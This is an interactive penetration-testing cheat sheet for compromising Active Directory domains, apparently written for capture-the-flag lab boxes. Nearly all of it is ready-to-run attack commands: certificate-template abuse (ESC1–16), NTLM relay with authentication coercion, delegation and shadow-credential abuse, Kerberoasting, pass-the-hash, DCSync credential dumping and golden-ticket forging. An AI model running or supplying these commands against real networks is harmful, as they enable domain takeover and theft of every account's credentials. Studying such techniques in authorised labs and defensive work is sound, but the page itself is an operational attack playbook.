Active Directory in depth

The flow of almost every domain box: enumerate with BloodHound, find a path (ACL, ADCS, delegation, relay) and move to the DC. Fill in the domain, user and password or hash above and the commands adjust on their own.

Your values Saved in this browser and applied to every cheatsheet.

Domain User Password Target IP Your IP (attacker) NT hash DC hostname

BloodHound

Collect the data, load it into BloodHound CE and look for paths. Below are Cypher queries to paste into the raw query (Cypher) bar when the path is not obvious.

Practise it on: Forest Blackfield Cascade Sauna Support

Collect the data

Remote collector in Python (CE) Attacker

bloodhound-ce-python -u usuario -p 'Password123!' -d box.htb -ns 10.10.11.20 -dc dc01.box.htb -c All --zip

With NetExec, nothing else to install Attacker

nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --bloodhound -c All --dns-server 10.10.11.20

SharpHound from the Windows target Target

.\SharpHound.exe -c All --zipfilename datos

Handy Cypher queries

Paste them into Search > Cypher. Change the uppercase domain name if needed.

Mark what you already own as pwned

MATCH (u:User) WHERE u.name STARTS WITH 'usuario' SET u.owned=true RETURN u

Shortest paths from what you own to Domain Admins

MATCH p=shortestPath((n {owned:true})-[*1..]->(g:Group)) WHERE g.name STARTS WITH 'DOMAIN ADMINS@' RETURN p

Kerberoastable users (they have an SPN)

MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames

AS-REP roastable users (no pre-auth)

MATCH (u:User {dontreqpreauth:true}) RETURN u.name

What your owned user can abuse (outbound ACLs)

MATCH p=(u:User {owned:true})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|AddKeyCredentialLink|ForceChangePassword|AddMember|AllowedToDelegate*1..]->(n) RETURN p

Computers with unconstrained delegation

MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

High-value user sessions (where to grab credentials)

MATCH (u:User)-[:MemberOf*1..]->(g:Group) WHERE g.highvalue=true MATCH (c:Computer)-[:HasSession]->(u) RETURN c.name, u.name

Who can read a gMSA password

MATCH p=(n)-[:ReadGMSAPassword]->(m:User) RETURN p

Who can read LAPS on which computers

MATCH p=(n)-[:ReadLAPSPassword]->(c:Computer) RETURN p

ADCS (ESC1–16)

If there is an enterprise CA there is almost always a path. Always start with the Certipy scan: it tells you which ESC applies. The usual escalation ends by requesting a certificate that hands you the administrator's NT hash.

Practise it on: Authority Certified Escape EscapeTwo Fluffy Certificate Mirage Tombwatcher Fries Manager Logging Infiltrator Scepter

Find vulnerable templates

Certipy scan (names the ESC) Attacker

certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout

Enumerate the CA with NetExec Attacker

nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M adcs

ESC1 — arbitrary SAN (impersonate anyone)

The template allows enrollment, authenticates the client and lets you set the SAN. Request a cert as the administrator.

Practise it on: Authority EscapeTwo Fries Mirage Scepter

Request the certificate with another SAN Attacker

certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template VulnTemplate -upn [email protected]

Authenticate with the cert and get the NT hash Attacker

certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20

ESC2/ESC3 — Any Purpose and Enrollment Agent

Practise it on: Certificate

ESC3: request an agent cert and, with it, one on behalf of another Attacker

certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template EnrollmentAgent
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template User -on-behalf-of 'box.htb\administrator' -pfx agent.pfx

ESC4 — control over the template

You have write permissions over the template: make it vulnerable (like ESC1), request the cert and put it back.

Practise it on: EscapeTwo Infiltrator

Make it vulnerable and restore it Attacker

certipy template -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -template VulnTemplate -write-default-configuration

ESC6/ESC7 — CA flag and control over the CA

Practise it on: Fries Manager

ESC7: grant yourself Manage Certificates and approve your own request Attacker

certipy ca -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -add-officer usuario

ESC8 — HTTP relay to the CA web endpoint

You coerce a machine into authenticating and relay that NTLM authentication to the CA's web enrollment endpoint. Pairs with the NTLM relay tab.

Relay to the CA and get a machine cert Attacker

certipy relay -target 'http://ca.box.htb/certsrv/certfnsh.asp' -template DomainController

ESC9/ESC10 — no strong certificate mapping

Practise it on: Certified Mirage

Change the UPN of a user you control and request the cert as them Attacker

certipy account update -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -user victima -upn [email protected]

ESC13/ESC14/ESC15/ESC16

ESC13: the template adds you to a group via an issuance policy OID. ESC15 (CVE-2024-49019): inject arbitrary EKU with v1 templates. Recent Certipy detects and exploits them.

Practise it on: Tombwatcher Fries Logging

ESC15: application policy with client-auth EKU Attacker

certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template WebServer -application-policies 'Client Authentication'

NTLM relay

NTLM is not signed by default on many services: if you coerce a machine (or wait for a user to connect) you can relay its authentication to another service where it is accepted. Check SMB signing first.

Practise it on: Escape Fluffy Intelligence Mailing Driver Mirage

Where can I relay?

Hosts without required SMB signing Attacker

nxc smb 10.10.11.20/24 --gen-relay-list relay_targets.txt

Set up the relay

Relay to SMB to dump SAM Attacker

impacket-ntlmrelayx -tf relay_targets.txt -smb2support

Relay to LDAP for delegation or shadow credentials Attacker

impacket-ntlmrelayx -t ldaps://dc01.box.htb --delegate-access --no-dump --no-da

Relay to the CA (ESC8) for a machine cert Attacker

impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Coerce the authentication

Fire these at the DC pointing at your machine, with ntlmrelayx already listening.

PetitPotam (MS-EFSR) Attacker

python3 PetitPotam.py -u usuario -p 'Password123!' -d box.htb 10.10.14.5 10.10.11.20

Coercer (tries several methods) Attacker

coercer coerce -u usuario -p 'Password123!' -d box.htb -l 10.10.14.5 -t 10.10.11.20

PrinterBug (MS-RPRN) Attacker

python3 dementor.py 10.10.14.5 10.10.11.20 -u usuario -p 'Password123!' -d box.htb

Delegation

Kerberos delegation lets a service act on behalf of a user. Misconfigured, it lets you request a ticket as the administrator. Three flavours: unconstrained, constrained and resource-based constrained (RBCD).

Practise it on: Authority Intelligence Mirage Rebound RustyKey Support Vintage PivotAPI

Find delegations

With Impacket Attacker

impacket-findDelegation box.htb/usuario:'Password123!' -dc-ip 10.10.11.20

Constrained — S4U

Practise it on: Intelligence Vintage

Request a service ticket as administrator (S4U2proxy) Attacker

impacket-getST -spn cifs/dc01.box.htb -impersonate administrator -dc-ip 10.10.11.20 box.htb/usuario:'Password123!'

Resource-based (RBCD)

If you can write a computer's msDS-AllowedToActOnBehalfOfOtherIdentity, create a machine account and delegate onto it.

Practise it on: Authority Rebound Mirage

Create a machine account (if MachineAccountQuota > 0) Attacker

impacket-addcomputer box.htb/usuario:'Password123!' -computer-name EVIL$ -computer-pass 'Evil123!' -dc-ip 10.10.11.20

Write the delegation and request the ticket Attacker

impacket-rbcd box.htb/usuario:'Password123!' -delegate-to 'VICTIMA$' -delegate-from 'EVIL$' -action write -dc-ip 10.10.11.20
impacket-getST -spn cifs/victima.box.htb -impersonate administrator 'EVIL$:Evil123!' -dc-ip 10.10.11.20

Shadow credentials (msDS-KeyCredentialLink)

Practise it on: Rebound Mirage

Add a key and get the NT hash with certipy Attacker

certipy shadow auto -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -account victima

Impacket

The AD swiss-army knife from Linux. Everything accepts -hashes LM:NT for pass-the-hash and -k -no-pass for Kerberos (with KRB5CCNAME set).

Practise it on: Forest Blackfield Sauna Active Scrambled

Request and use tickets

TGT (and export it) Attacker

impacket-getTGT box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
export KRB5CCNAME=$PWD/usuario.ccache

Kerberoasting Attacker

impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -outputfile kerberoast.txt

Crack it: hashcat -m 13100 kerberoast.txt rockyou.txt

AS-REP roasting Attacker

impacket-GetNPUsers box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -format hashcat -outputfile asrep.txt

hashcat -m 18200

Execute commands

psexec (SYSTEM) Attacker

impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20

wmiexec (más sigiloso) Attacker

impacket-wmiexec box.htb/usuario:'Password123!'@10.10.11.20

with pass-the-hash Attacker

impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]

Dump credentials

Practise it on: Forest Blackfield

SAM/LSA (local admin) Attacker

impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20

DCSync Attacker

impacket-secretsdump box.htb/usuario:'Password123!'@dc01.box.htb -just-dc-user Administrator

Golden ticket (with the krbtgt hash) Attacker

impacket-ticketer -nthash 64f12cddaa88057e06a81b54e73b949b -domain-sid S-1-5-21-XXXX -domain box.htb administrator